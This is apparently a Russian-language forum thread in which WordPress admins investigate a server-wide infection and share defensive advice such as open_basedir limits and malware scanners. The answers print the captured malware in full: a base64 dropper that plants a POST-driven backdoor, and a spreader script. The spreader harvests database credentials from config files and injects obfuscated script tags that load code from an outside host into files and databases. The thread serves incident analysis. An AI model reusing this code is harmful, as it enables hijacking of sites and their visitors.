@Bodrosh

Как найти место взлома wordpress?

Здравствуйте, на сервере с несколькими сайтами wordpress произошёл взлом, каким образом можно диагностировать место взлома? вирус прошел по папкам на сервере, изменил права на файлы index.php и записал в индексные файлы свой код редиректа + поменял ссылки на свои в Базах данных (редиректы на directednotconverted.ml):
<script type='text/javascript' src='https://flat.lowerthenskyactive.ga/m.js?n=nb5'></script><?php
// Silence is golden.

Причем вирус прошел по всем остальным сайтам и базам данных, лежащим рядом.

Понятно, что дело может быть в плагинах, теме и самой wp, как это можно диагностировать, напр., по логам? Какая вообще логика у данного вида взлома? через запрос на конкретный файл?
  • Вопрос задан
  • 2032 просмотра
Решения вопроса 2
Kleindberg
@Kleindberg
Full stack
Обычно, вирус находится в nulled плагине или теме, скачанной с пиратского сайта. Вот, пример такого вируса.

Следовательно, начинать лечение сайта нужно с поиска зараженного плагина или темы (файл functions.php). А то, что вирус на соседние сайты полез, значит, что у вас на сервере в PHP не настроены ограничения open_basedir. Я после таких заражений всюду установил open_basedir: /home/user/site.com/www (огранил видимость в пределах www) - так вирус не сможет просканировать другие папки за пределами одного домена.

Есть антивирусы по типу AiBolit - они находят вирусы в коде.
Ответ написан
@Bodrosh Автор вопроса
Уязвимость найдена, возможно кому-то поможет.
По логам прослеживались обращения:
51.38.106.48 - - [02/Nov/2020:19:55:53 +0000] "POST /wp-content/uploads/elementor/custom-icons/-1/css/ HTTP/1.0" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:55 +0000] "POST /wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:58 +0000] "POST /wp-content/uploads/wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"


В одном из плагинов (/wp-content/uploads/elementor/custom-icons/-1/css/index.php), как и предполагалось, находился данный код:

echo "ssqqss>>>";
error_reporting(0);
ini_set('display_errors',0);

make_wpupload_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads');

 function make_wpupload_file($dir) {

	$b = base64_decode('PD9waHAgIGlmKGlzc2V0KCRfUE9TVFsnbHQnXSkgJiYgbWQ1KCRfUE9TVFsnbHQnXSkgPT0gYmFzZTY0X2RlY29kZSgiTURJek1qVTRZbUpsWWpkalpUazFOV0UyT1RCa1kyRXdOVFppWlRnNE5XUT0iKSApIHskbHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYSddKTtmaWxlX3B1dF9jb250ZW50cygnbHRlXycsJzw/cGhwICcuJGx0KTskbHQ9J2x0ZV8nO2lmKGZpbGVfZXhpc3RzKCRsdCkpe2luY2x1ZGUoJGx0KTt1bmxpbmsoJGx0KTt9fSA/Pg==');
	if(!file_exists($dir.'/wp-stream.php')){
		@file_put_contents($dir.'/wp-stream.php',$b);
		@file_put_contents($_SERVER['DOCUMENT_ROOT'].'/wp-stream.php',$b);
	}
  
}

unlink(__FILE__);

При взломе так же пытались найти на сервере следующие файлы и пути, уязвимости могут быть и в них:
/wp-content/plugins/widget-settings-importexport/widget-data.js
/wp-content/plugins/letme/weblinks.php
/wp-content/plugins/background-image-cropper/ups.php.suspected
/wp-content/uploads/2020/10/content-post.php
/wp-content/wp-muen.php
/wp-content/uploads/2020/04/blackhat.php
/wp-content/plugins/wp-members/assets/js/wpmem-nav-menu.min.js
/wp-content/plugins/superstorefinder-wp/css/ssf-wp-admin.css
/my-accountsuc_reg
/my-accountcanreg
/wp-content/themes/CP20/content-post.php.suspected
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
/wp-content/uploads/wp-stream.php
/wp-admin/theme-install.php
/xmlrpc.php
/installer.php
/wp-content/themes/distance-lite/languages/namespaces.php
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 3
msHack
@msHack
Попробуйте сканеры безопасности их очень много разных
Ответ написан
Комментировать
@jahtaka
Там каким-то образом кладётся файлик "lte_", я пока не определил способ его размещения на сервере. Из него начиает постить код в PHP JS HTM файлы и в базу с редиректом. Тысячами.

Ai-bolit всё это находит, благодаря ему как раз и обнаружил.

Файл "lte_" :
spoiler
<?php echo "ssqqss>>>";
error_reporting(0);
ini_set('display_errors',0);


search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
die();

  
function get_var_reg($pat,$text) {
	
	if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
	{
		return $matches[1][0];
	}
		
	return "";
}
function search_file_ms($dir,$file_to_search){

$search_array = array();

$files = scandir($dir);

if($files == false) {
	
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		
		@search_file_ms( $dir,$file_to_search);
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		
		@search_file_ms( $dir,$file_to_search);
		return;
	}
}

foreach($files as $key => $value){


    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);

    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false) {
		
			show_sitenames($path);
			
			
			
        }

    } else if($value != "." && $value != "..") {

        @search_file_ms($path, $file_to_search);

    }  
 } 
}
function show_sitenames($file){
	$content = @file_get_contents($file);
	if(strpos($content, "DB_NAME") !== false) {
	
	
	$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
	$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
	$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
	$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);


// Create connection
$conn = new mysqli($host, $user, $pass);

// Check connection
if ($conn->connect_error) {
 
} else { 


$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
		$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]."  LIMIT 1 ";
	$result2 = $conn->query($q2);
	if ($result2->num_rows > 0) {
		while($row2 = $result2->fetch_assoc()) {
			$val = $row2['post_content'];
			if(strpos($val, "flat.lowerthenskyactive.ga") === false){
				if(strpos($val, "flat.lowerthenskyactive.ga") === false){
					
				
					$q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://flat.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%flat.lowerthenskyactive.ga%'";
					$conn->query($q3);
					echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
				
				} else {
				
				}

			} 
		}
	} else {
	}
    }
} else {
}
$conn->close();
}
}
}

function search_file($dir,$file_to_search){

$files = @scandir($dir);

if($files == false) {
	
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		
		@search_file( $dir,$file_to_search);
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		
		@search_file( $dir,$file_to_search);
		return;
	}
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
	
    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {

		make_it($path);

    } }else if($value != "." && $value != "..") {

        search_file($path, $file_to_search);

    }  
 } 

}

function search_file_index($dir,$file_to_search){

$files = @scandir($dir);

if($files == false) {
	
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		
		search_file_index( $dir,$file_to_search);
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		
		search_file_index( $dir,$file_to_search);
		return;
	}
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
	
    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {

		make_it_index($path);

    } }else if($value != "." && $value != "..") {

        search_file_index($path, $file_to_search);

    }  
 } 

}
function search_file_js($dir,$file_to_search){

$files = @scandir($dir);
if($files == false) {
	
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		
		@search_file_js( $dir,$file_to_search);
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		
		@search_file_js( $dir,$file_to_search);
		return;
	}
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
	
    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {

		make_it_js($path);

    } }else if($value != "." && $value != "..") {

        search_file_js($path, $file_to_search);

    }  
 } 

}

function make_it_js($f){
			$g = file_get_contents($f);
			
										

if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false) {

} else {

$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "js:".$f."\r\n";
}

			
}
function make_it_index($f){
$g = file_get_contents($f);
if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false || strpos($g, 'flat.lowerthenskyactive.ga') !== false) {

} else {
$l2 = "<script type='text/javascript' src='https://flat.lowerthenskyactive.ga/m.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2.$g;

@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "in:".$f."\r\n";


			}
}

function make_it($f){
$g = file_get_contents($f);
if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false) {

} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}


			}
}
Ответ написан
@MrGroovy
Уязвимости в WP бывают двух видов - устаревшая версия самого WP и уязвимости в плагинах и темах. Крайне опасно использовать "крякнутые" темы, в них часто вшивают вредоносный код. Чтобы найти уязвимости в Wordpress можно воспользоваться специальным сканером для WP. Навскидку, это:
- https://metascan.ru;
- wprecon.com;
- hackertarget.com/wordpress-security-scan.
И разумеется быть аккуратнее с бесплатными темами и сомнительными плагинами, так как они изначально могут содержать в себе вирусы.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы